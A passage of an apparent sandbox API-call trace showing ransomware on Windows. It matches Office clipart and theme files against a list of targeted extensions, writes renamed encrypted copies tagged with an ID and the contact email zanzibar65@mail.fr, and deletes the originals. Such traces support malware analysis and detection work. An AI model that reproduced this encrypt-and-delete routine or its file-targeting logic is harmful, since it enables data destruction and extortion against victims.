Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0270.926] lstrlenW (lpString=".zip") returned 4 [0270.926] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.926] lstrlenW (lpString=".rar") returned 4 [0270.926] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.926] lstrlenW (lpString=".bz2") returned 4 [0270.926] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.926] lstrlenW (lpString=".7z") returned 3 [0270.926] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0270.927] lstrlenW (lpString=".dbf") returned 4 [0270.927] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0270.927] lstrlenW (lpString=".1cd") returned 4 [0270.927] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0270.927] lstrlenW (lpString=".jpg") returned 4 [0270.927] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0270.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0270.927] lstrlenW (lpString=".doc") returned 4 [0270.927] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.927] lstrlenW (lpString=".docx") returned 5 [0270.927] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.927] lstrlenW (lpString=".pdf") returned 4 [0270.927] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.927] lstrlenW (lpString=".xls") returned 4 [0270.927] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.927] lstrlenW (lpString=".xlsx") returned 5 [0270.927] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.927] lstrlenW (lpString=".ppt") returned 4 [0270.927] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0270.927] lstrlenW (lpString=".zip") returned 4 [0270.927] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.927] lstrlenW (lpString=".rar") returned 4 [0270.927] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.927] lstrlenW (lpString=".bz2") returned 4 [0270.927] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.928] lstrlenW (lpString=".7z") returned 3 [0270.928] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0270.928] lstrlenW (lpString=".dbf") returned 4 [0270.928] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0270.928] lstrlenW (lpString=".1cd") returned 4 [0270.928] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0270.928] lstrlenW (lpString=".jpg") returned 4 [0270.928] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.928] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0270.928] lstrlenW (lpString="FINCL_02.MID") returned 12 [0270.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0270.929] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=9318) returned 1 [0270.929] CloseHandle (hObject=0x2f0) returned 1 [0270.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 0x20 [0270.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0270.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0270.930] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0270.930] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0270.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.930] GetLastError () returned 0x0 [0270.930] ReadFile (in: hFile=0x2f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x2466, lpOverlapped=0x0) returned 1 [0270.932] WriteFile (in: hFile=0x380, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0x2470, lpOverlapped=0x0) returned 1 [0270.933] ReadFile (in: hFile=0x2f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x0, lpOverlapped=0x0) returned 1 [0270.933] WriteFile (in: hFile=0x380, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.933] SetEndOfFile (hFile=0x380) returned 1 [0270.933] CloseHandle (hObject=0x380) returned 1 [0270.933] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0270.933] SetEndOfFile (hFile=0x2f0) returned 1 [0271.933] CloseHandle (hObject=0x2f0) returned 1 [0271.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0271.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0271.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0271.934] lstrlenW (lpString=".doc") returned 4 [0271.934] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.934] lstrlenW (lpString=".docx") returned 5 [0271.934] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0271.934] lstrlenW (lpString=".pdf") returned 4 [0271.934] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.934] lstrlenW (lpString=".xls") returned 4 [0271.934] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.934] lstrlenW (lpString=".xlsx") returned 5 [0271.934] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0271.934] lstrlenW (lpString=".ppt") returned 4 [0271.934] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0271.934] lstrlenW (lpString=".zip") returned 4 [0271.934] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.934] lstrlenW (lpString=".rar") returned 4 [0271.934] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.934] lstrlenW (lpString=".bz2") returned 4 [0271.934] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.934] lstrlenW (lpString=".7z") returned 3 [0271.934] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0271.934] lstrlenW (lpString=".dbf") returned 4 [0271.934] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0271.935] lstrlenW (lpString=".1cd") returned 4 [0271.935] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0271.935] lstrlenW (lpString=".jpg") returned 4 [0271.935] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0271.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0271.935] lstrlenW (lpString=".doc") returned 4 [0271.935] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.935] lstrlenW (lpString=".docx") returned 5 [0271.935] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0271.935] lstrlenW (lpString=".pdf") returned 4 [0271.935] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.935] lstrlenW (lpString=".xls") returned 4 [0271.935] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.935] lstrlenW (lpString=".xlsx") returned 5 [0271.935] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0271.935] lstrlenW (lpString=".ppt") returned 4 [0271.935] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0271.935] lstrlenW (lpString=".zip") returned 4 [0271.935] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.935] lstrlenW (lpString=".rar") returned 4 [0271.935] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.935] lstrlenW (lpString=".bz2") returned 4 [0271.935] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.935] lstrlenW (lpString=".7z") returned 3 [0271.935] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0271.935] lstrlenW (lpString=".dbf") returned 4 [0271.935] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0271.936] lstrlenW (lpString=".1cd") returned 4 [0271.936] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0271.936] lstrlenW (lpString=".jpg") returned 4 [0271.936] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.936] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.936] lstrlenW (lpString="SCHOL_02.MID") returned 12 [0271.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0272.202] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=5058) returned 1 [0272.202] CloseHandle (hObject=0x2f8) returned 1 [0272.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 0x20 [0272.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.262] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.262] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0272.272] GetLastError () returned 0x0 [0272.273] ReadFile (in: hFile=0x2f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x13c2, lpOverlapped=0x0) returned 1 [0272.277] WriteFile (in: hFile=0x2f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0x13d0, lpOverlapped=0x0) returned 1 [0272.277] ReadFile (in: hFile=0x2f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x0, lpOverlapped=0x0) returned 1 [0272.278] WriteFile (in: hFile=0x2f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.278] SetEndOfFile (hFile=0x2f8) returned 1 [0272.282] CloseHandle (hObject=0x2f8) returned 1 [0272.282] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.282] SetEndOfFile (hFile=0x2f0) returned 1 [0272.285] CloseHandle (hObject=0x2f0) returned 1 [0272.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0272.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0272.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0272.308] lstrlenW (lpString=".doc") returned 4 [0272.308] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.308] lstrlenW (lpString=".docx") returned 5 [0272.308] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0272.308] lstrlenW (lpString=".pdf") returned 4 [0272.308] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.308] lstrlenW (lpString=".xls") returned 4 [0272.308] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.308] lstrlenW (lpString=".xlsx") returned 5 [0272.308] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0272.308] lstrlenW (lpString=".ppt") returned 4 [0272.308] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0272.308] lstrlenW (lpString=".zip") returned 4 [0272.308] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.308] lstrlenW (lpString=".rar") returned 4 [0272.308] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.308] lstrlenW (lpString=".bz2") returned 4 [0272.308] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.308] lstrlenW (lpString=".7z") returned 3 [0272.308] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0272.308] lstrlenW (lpString=".dbf") returned 4 [0272.308] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0272.308] lstrlenW (lpString=".1cd") returned 4 [0272.308] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0272.309] lstrlenW (lpString=".jpg") returned 4 [0272.309] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0272.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0272.309] lstrlenW (lpString=".doc") returned 4 [0272.309] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.309] lstrlenW (lpString=".docx") returned 5 [0272.309] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0272.309] lstrlenW (lpString=".pdf") returned 4 [0272.309] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.309] lstrlenW (lpString=".xls") returned 4 [0272.309] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.309] lstrlenW (lpString=".xlsx") returned 5 [0272.309] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0272.309] lstrlenW (lpString=".ppt") returned 4 [0272.309] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0272.309] lstrlenW (lpString=".zip") returned 4 [0272.309] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.309] lstrlenW (lpString=".rar") returned 4 [0272.309] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.309] lstrlenW (lpString=".bz2") returned 4 [0272.309] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.309] lstrlenW (lpString=".7z") returned 3 [0272.309] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0272.309] lstrlenW (lpString=".dbf") returned 4 [0272.309] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0272.309] lstrlenW (lpString=".1cd") returned 4 [0272.309] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0272.310] lstrlenW (lpString=".jpg") returned 4 [0272.310] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.310] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0272.310] lstrlenW (lpString="Apothecary.eftx") returned 15 [0272.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0272.318] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=49025) returned 1 [0272.318] CloseHandle (hObject=0x380) returned 1 [0272.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 0x20 [0272.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0272.318] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.318] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0272.319] GetLastError () returned 0x0 [0272.319] ReadFile (in: hFile=0x380, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0xbf81, lpOverlapped=0x0) returned 1 [0272.322] WriteFile (in: hFile=0x354, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xbf90, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0xbf90, lpOverlapped=0x0) returned 1 [0272.323] ReadFile (in: hFile=0x380, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x0, lpOverlapped=0x0) returned 1 [0272.323] WriteFile (in: hFile=0x354, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0xf2, lpOverlapped=0x0) returned 1 [0272.323] SetEndOfFile (hFile=0x354) returned 1 [0272.549] CloseHandle (hObject=0x354) returned 1 [0272.549] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.549] SetEndOfFile (hFile=0x380) returned 1 [0272.574] CloseHandle (hObject=0x380) returned 1 [0272.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 1 [0272.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0272.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0272.574] lstrlenW (lpString=".doc") returned 4 [0272.574] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.574] lstrlenW (lpString=".docx") returned 5 [0272.574] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.574] lstrlenW (lpString=".pdf") returned 4 [0272.575] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.575] lstrlenW (lpString=".xls") returned 4 [0272.575] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.575] lstrlenW (lpString=".xlsx") returned 5 [0272.575] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.575] lstrlenW (lpString=".ppt") returned 4 [0272.575] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0272.575] lstrlenW (lpString=".zip") returned 4 [0272.575] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.575] lstrlenW (lpString=".rar") returned 4 [0272.575] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.575] lstrlenW (lpString=".bz2") returned 4 [0272.575] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.575] lstrlenW (lpString=".7z") returned 3 [0272.575] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0272.575] lstrlenW (lpString=".dbf") returned 4 [0272.575] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme 